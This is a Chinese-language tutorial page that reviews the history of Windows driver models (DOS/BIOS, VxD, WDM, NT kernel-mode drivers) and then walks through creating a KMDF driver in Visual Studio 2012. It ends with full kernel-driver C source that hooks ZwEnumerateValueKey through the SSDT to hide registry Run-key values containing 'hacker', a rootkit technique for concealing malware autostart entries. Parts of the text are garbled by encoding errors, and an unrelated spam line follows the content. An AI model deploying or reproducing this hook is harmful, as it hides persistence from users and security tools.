<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??碼云GVP開源項目 12k star Uniapp+ElementUI 功能強大 支持多語言、二開方便! 廣告
                Windows 驅動程序的發展演變? 我們在學習開發驅動程序時有必要弄清楚Windows設備驅動程序的發展演變過程(為了簡便起見,以下簡稱驅動程序),以便明白我們將要開發什么樣的驅動程序。這就象你開發一個應用程序時必須弄清楚它是運行在WINDOWS平臺下還是在DOS平臺下,否則我們能寫出什么樣的應用程序就可想而知了。? 驅動程序開發者的各項任務之中,有許多是為特定的硬件編寫驅動程序。由于WINDOWS的發展,這樣的工作在 Windows 9X 下要比在前一版Windows(windows3.x 、Windows Workgroup) 中容易得多。先了解一些歷史演變,可能會對驅動程序的編寫有所幫助。? 實模式Windows(Real-Mode Windows)? 從一開始,MS-DOS 和系統基本輸入輸出系統(BIOS) 就已經提供了許多硬件設備的驅動程序。BIOS 通過一些常用的軟件中斷,開放出驅動程序的服務 ,像INT 10h 是顯示系靳中斷,INT 13h是磁盤子系靳中斷,INT 16h 是鍵盤中斷等等。BIOS 也處理硬件中斷,并承擔對“可編程中斷控制器”(Programmable Interrupt Controller ,PIC )的管理任務。MS-DOS 也通過軟件中斷(如 INT 21h 、INT 25h 、INT 26h )提供了系統服務 ,并提供一個機制(CONFIG.SYS 中的 device= 語句),讓新的或強化后的驅動程序能?蛟諳到y啟動時被加載進操作系統內核。 標準模式Windows(Standard-Mode Windows)? 早期的 Windows 中,MS-DOS 和 BIOS 是最重要的。Windows運行在實模式狀態中,這時的Windows充其量不過是一個強化后的MS-DOS圖形用戶界面而已。從系統角度看,Windows只不過是個大的圖形應用程序。Intel 80286 的出現,使 Windows能?蛟詒;つJ街性誦脅⒒竦酶嘰? 16MB 實際內存空間。依靠保護模式和實模式的轉換,Windows 仍然繼續使用MS-DOS 和 BIOS 提供的服務來完成所有的系統需求。這種運作模式被稱為 Windows標準模式(Windows standard mode) 。在 80286 機器上切換實模式和保護模式,系統開銷很大。Intel 于是提供了一個快又有效率的指令,讓你從實模式切換到保護模式。但Intel 認為沒有什么人還需要再從保護模式切換回實模式。結果,唯一能?蛉帽;つJ匠絳潁ㄈ? Windows standard mode )存取實模式軟件(如 MS-DOS )的方法就是復位CPU(reset CPU) 。在人們開發出來的各種復位方法中,最普遍的一種就是觸發鍵盤控制器,提供由 Ctrl-Alt-Delete 鍵所發出的外部信號。于是引發所謂的三鍵失效(triple fault,即三鍵熱啟動),這是 CPU 先天無法處理的一種“失效“。事實上無論哪一種作法,代價都很昂貴,因為它們至少都得經過 BIOS 的引導程序 。事實上,在某些 286 機器,模式的切換要花掉好幾毫秒。顯然 Windows 需要一種方法,避免每次一有事件發生,像是鍵盤被按下或鼠標移動等等,就得切換到實模式。解?Q方法就是寫一個保護模式驅動程序,可以在保護模式中處理 I/O 中斷。這些驅動程序直到今天我們都還在使用,你在 SYSTEM 子目錄中看到的擴展名為 .DRV 的文件都是!包括 MOUSE.DRV 、COMM.DRV 等等。我把它們稱為 ring3 DLL 驅動程序,因為它們實質上都是 16 位 Windows 動態鏈接庫(DLLs ),在 ring3層 (Intel CPU 最不受保護的層,一般應用程序運行在ring3層,核心態的驅動程序動行在ring0層)執行。它們的任務是在不離開 CPU保護模式的前提下,和 Windows KERNEL 、USER 、GDI 模塊之間形成接口。? 增強模式Windows(Enhanced-Mode Windows )? Intel 80386 CPU 使 Windows的第三種操作模式(所謂的 enhanced mode)成為可能。在此模式中 Windows 采用分頁(paging) 和虛擬86(V86) 特性,創造出??擬機器(VirtualMachines ,VMs )。對一個應用程序而言,VM 就像一獨立的的個人電腦,獨自擁有自己的鍵盤、鼠標、顯示器等等硬件。而實際上,經過所謂的??擬化(virtualization ),數個 VMs 共享相同硬件。對最終用戶而言,最大的好處是他現在能?蛟詿翱謐刺?中(而非全屏幕)運行MS-DOS程序 。"??擬化"是 VxDs 的工作。VxD 的名稱來自于 "virtual x device",意思是此驅動程序用來??擬化某個(x )設備。例如:VKD用來??擬化鍵盤,使Windows 和任何一個MS-DOS程序都自認為獨立擁有屬于自己的鍵盤。VMD 用來??擬化鼠標。某些 VxDs 并不是為了??擬化某些硬件,而是為了提供各種底層系統服務。頁面交換(PAGESWAP) 和 頁面文件(PAGEFILE)就屬于這種非設備VxD ,它們共同管理交換文件(swap file ),使 增強模式Windows (enhanced-modeWindows) 得以將磁盤空間分配成為??擬內存的一部份。盡管基礎技術令人耳目一新,但增強模式Windows (enhanced-mode Windows )還是繼續在磁盤和文件 I/O 方面使用 MS-DOS 和 BIOS 。需要交換(swap )一個文件時,它還是把 CPU 切換到 V86 模式,讓 MS-DOS 和 BIOS 來處理 I/O 操作。在保護模式、真實模式、V86 模式之間的所有切換動作都使得 Windows 慢下來。更多? 的延時則來自于MS-DOS 和 BIOS 不可重入這一問題(即不能兩個程序同時使用相同的服務)。Windows 必須強迫所有應用程序在同一個隊列等待實模式服務。? Windows95? Windows 95 將終結這一份對歷史的回憶。Windows 95 使用數種不同的驅動程序模型,大部份是使用 32 位 ring0層的虛擬設備驅動程序(VxDs) ,而非 rin3層的 DLLs 。所有的設備驅動程序都有一個具有管理功能的核心虛擬機VMM(虛擬機管理器)管理。? Windows對中斷的處理與MS-DOS大不一樣。當中斷發生時,處理器轉換為ring0級保護模式。Windows系統并不像MS-DOS那樣通過中斷描述符表IDT(Interrupt Descriptor Table)直接指向中斷處理過程,而是由IDT入口指向VMM中的程序。該程序將判斷是否為中斷調用,如果是,則把中斷控制權交給虛擬可編程中斷控制器VPICD(Virtual Programmable Interrupt Controller Device),VPICD實際上是一個重要的VxD。VPICD再將其交給另一個注冊了該中斷的VxD(如Audcard.vxd)來處理。VxD程序是通過調用VPICD服務VPICD_Virtualize_IRQ來注冊中斷的。? Windows 95 對于設備 (device) 的處理,一般的模型是:由一個 VxD 掌管所有中斷并執行所有數據傳輸,應用程序則使用函數調用 (function calls) 的方式對 VxDs 發出服務請求。這種VxD 為主的設備規劃模型的一個好例子就是:Windows 95 的串行通信(serial communications) 。從前 Windows的串行通訊是使用一個 ring3 驅動程序(COMM.DRV ),?群?硬件中斷處理程序以及驅動一個通用異步收發蕊片(universal asynchronous receiver-transmitter (UART )蕊片)所需的全部邏輯功能代碼。在未讓此驅動程序知道的情?r下,兩個 VxDs (VCD 和COMBUFF )攔截了硬件中斷和軟件 IN/OUT 指令,為的是??擬化每一個 port ,并且改善因多任務而引起的問題。Windows 95 也有一個 ring3 組件名為 COMM.DRV ,但這個組件已經成為新的VxD (VCOMM )的一個簡單的外層程序,只用來提供 16 位程序和 VCOMM之間的接口。VCOMM 則處于底層,聯結一般應用程序、VxD clients 、 VxD 端口驅動程序和實際的硬件。端口驅動程序現在負責處理所有中斷,并執行真正與硬件起作用的 IN/OUT 指令。? Windows 95 文件系統是另一個好例子。過去,對文件系統服務的請求(requests ),源自于16 位保護模式程序所發出的 INT 21h 。有一個 VxD 用來處理這些 INT 21h ,并將它們切換到 V86 模式,以便讓MS-DOS 處理。MS-DOS 發出 INT 13h中斷 ,以請求使用 BIOS 的磁盤 I/O 功能;發出 INT 2Fh ,允許網絡的 "redirector modules"(重新定向模塊)將此請求通過網絡傳輸出去。Windows 95 提供給應用程序的,仍是向上兼容的接口,INT 21h 仍舊是導至文件系統的動作,但是底層基礎卻大不一樣。? 在 Windows 95 之中,一個名為“可安硯文件系統“(Installable File System ,IFS )的管理器會處理所有 INT 21h ,甚至是來自于 V86 模式的。然后它把控制權交斤一個文件系統驅動程序(File System Driver ,FSD )。有一個 FSD 名為 VFAT ,是針對 MS-DOS? 文件系統(所謂 File Allocation Table ,FAT )而設計;另一個 FSD 名為 CDFSD ,可以解析 CD-ROM 格式;此外還有其他 FSDs ,知道如何經由各種網絡彼此通訊。針對本機(local 端)FSD (如VFAT )的磁盤操作,會經過被I/O管理器(Input/Output Supervisor ,IOS)監視管理的一堆VxDs處理。甚至 V86 模式的 INT 13h 中斷調用最終也是由 IOS 處理。換句??真,實模式和保護模式所發出的對文件系靳的請求(request ),不論是針對本地(local )或遠程(remote )磁盤,有可能完全(或幾乎完全)由 VxDs 來處理。Windows 95 這種以 VxD 為中心的驅動程序模型,好處之一是,系統程序員不一定要是 MS-DOS 和 BIOS 的專家,就可以寫驅動程序。那些準備提供系統擴展組件的程序員,也同享這個好處;原本你必須了解DOS保護模式接口(DPMI)以及 Windows 核心模塊的許多神秘特性或未公開特性,現在只需了解 Win32 的 DeviceIoControl API 函數,以及那些支持所謂 "alertable waits”(即時喚醒,大意是那些可以在VXD中調用的Windows 32位 API函數,但數量極其有限,)的 Win32 API 即可。這兩個接口可以讓你把 VxD 當做 32 位應用程序的擴展組件。盡管Windows系統驅動程序設計的任務主要是在系統底層上擴展 Windows 的功能,但Windows 95 還是保留了令人印象深刻的向上兼容能力(對上層程序,如dos程序來說,它們的調用接口沒變,但底層實際操作卻大不一樣了)。DPMI 還是存在(有些16 位程序還是需要它),你還是可以運行實模式的網絡驅動程序或文件系統驅動程序--如果這是你的必要選擇。事實上,你往往可以把 Windows 3.1 的一整組硬件設備、網絡驅動程序、16 位應用程序及其必要的 VxDs 整個搬到 Windows 95 ,不至于遭遇什么大問題。 Windows98&2k&NT? 1996年的Windows Hardware Engineering Conference(WinHEC)會議上,Microsoft宣布了一種新的Windows設備驅動程序模型――Win32 Driver Model(WDM)。這種新的設備驅動程序模型將成為Windows 2000(即Windows NT 5.0)的核心。? ? 這個消息令從事Windows設備驅動程序(VxD)開發的程序員感到沮喪(雖然大家早已預料到Windows系列與Windows NT系列最終將走到一起)。WDM將vxd的開發人員帶到了一個新的起點上,什么都是新的:新的模式,新的觀點。如果你曾看過DDK的匯編代碼的話,你一定可以體會這個消息對VxD開發者是個沉重的打擊,而對于Windows NT設備驅動程序(Kernel Mode Driver)的開發者來說,卻是另一番心情――因為WDM基本等于Kernel Mode Driver+Plug and Play。 ? VxD將讓位于WDM,現在令我們欣慰的是Microsoft宣布Windows 98(Windows 98支持VxD,推薦使用WDM方式驅動,但有些設備,如打印機等還不能用它,微軟預先設想的是Windows98和Windows 2k x86版在WDM驅動上可以二進制碼兼容,但實際上沒有完全實現)可能會堅持到200X年(天知道,估計也就是三兩年)。在這期間,掌握VxD技術的你還是可以主動要求老板給你加薪的。即使到了WDM一統天下之時,也不用灰心,因為無論是VxD還是WDM,都要求開發人員對計算機硬件有著全面而細致的了解。通過VxD的鍛煉,你至少熟悉了計算機的硬件資源并對保護模式有了比較深刻的認識,這些東西都是將來從事WDM開發的硬功夫。 好了,該說說Windows NT了。在Windows NT中,80386保護模式的“保護”比Windows 95中更堅固,這個“鍍金的籠子”更加結實,更加難以打破。在Windows 95中,至少應用程序I/O操作是不受限制的,而在Windows NT中,我們的應用程序連這點權限都被剝奪了。在NT中幾乎不太可能進入真正的ring0層。? 在Windows NT中,存在三種Device Driver: ? 1.“Virtual device Driver” (VDD)。通過VDD,16位應用程序,如DOS 和Win16應用程序可以訪問特定的I/O端口(注意,不是直接訪問,而是要通過VDD來實現訪問)。 ? 2.“GDI Driver”,提供顯示和打印所需的GDI函數。 ? 3.“Kernel Mode Driver”,實現對特定硬件的操作,比如說CreateFile, CloseHandle (對于文件對象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”還是Windows NT中唯一可以對硬件中斷和DMA進行操作的Driver。SCSI 小端口驅動和 網卡NDIS 驅動都是Kernel Mode Driver的一種特殊形式。 Visual studio2012與Windows8帶來格外不同的新體驗 1.啟動Vs2012 ![](https://box.kancloud.cn/2016-04-01_56fdf15192479.png) 2.看見滿目的驅動開發模板 ![](https://box.kancloud.cn/2016-04-01_56fdf151a72a9.png) 3.選擇一個驅動模式,有內核模式與用戶模式兩種的驅動 ![](https://box.kancloud.cn/2016-04-01_56fdf151e0f15.png) ? 4.創建一個驅動程序,KMDF DriverMVP ![](https://box.kancloud.cn/2016-04-01_56fdf152053f8.png) ? 5.我們選擇的是內核模式的驅動程序,下面是創建成功后的界面,分別是驅動程序本身,與驅動安裝包 ![](https://box.kancloud.cn/2016-04-01_56fdf15221ca7.png) 6.按下F5,選擇驅動編譯, ? ![](https://box.kancloud.cn/2016-04-01_56fdf15236a2b.png) 插入下列代碼實現隱藏注冊表,請見代碼分析 ~~~ #include <ntddk.h> extern NTSYSAPI NTSTATUS NTAPI ObQueryNameString( IN PVOID Object, OUT POBJECT_NAME_INFORMATION ObjectNameInfo, IN ULONG Length, OUT PULONG ReturnLength ); extern NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); //聲明原有的函數 typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); //定義原函數的指針 REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey; //我們HOOK的函數 NTSTATUS HookZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); PCWSTR HideValue = L"hacker"; // SYSTEMSERVICE 的定義 typedef struct ServiceDescriptorEntry { unsigned int * ServiceTableBase; // 關鍵字段, 指向系統服務分發例程的基地址 unsigned int * ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char * ParamTableBase; } ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] PVOID GetPointer( HANDLE handle ) { PVOID pKey; if(!handle) return NULL; // ObReferenceObjectByHandle函數來獲得這個Handle對應的FileObject, 得到的指針轉換成文件對象的指針 if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS ) { pKey = NULL; } return pKey; } NTSTATUS HookZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ) { PVOID pKey; UNICODE_STRING *pUniName; ULONG actualLen; ANSI_STRING keyname; NTSTATUS status; UNICODE_STRING uStrValueName; PCWSTR ValueName; status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))( KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength ); //得到文件對象的指針 if(pKey = GetPointer( KeyHandle)) { //分配內存 pUniName = ExAllocatePool(NonPagedPool, 1024*2); pUniName->MaximumLength = 512*2; //將pUniName里的內容清空 memset(pUniName,0,pUniName->MaximumLength); //得到注冊表項的路徑 if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen))) { RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE); keyname.Buffer=_strupr(keyname.Buffer); //判斷是不是Run項 if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0) { switch (KeyValueInformationClass) { case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name; break; case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATION ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name; break; } //判斷ValueName里的值是否有hacker //如果有則將函數返回STATUS_ACCESS_DENIED if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL)) { DbgPrint("Hide Value\n"); RtlFreeAnsiString(&keyname); //釋放內存 if(pUniName) { ExFreePool(pUniName); } return STATUS_ACCESS_DENIED; } } } } status = RealZwEnumerateValueKey(KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength); if(pUniName) { ExFreePool(pUniName); } return(status); } VOID DriverUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("驅動已經停止了\n"); (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey; } NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { DbgPrint("驅動已經加載了\n"); RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)); (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } ~~~
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看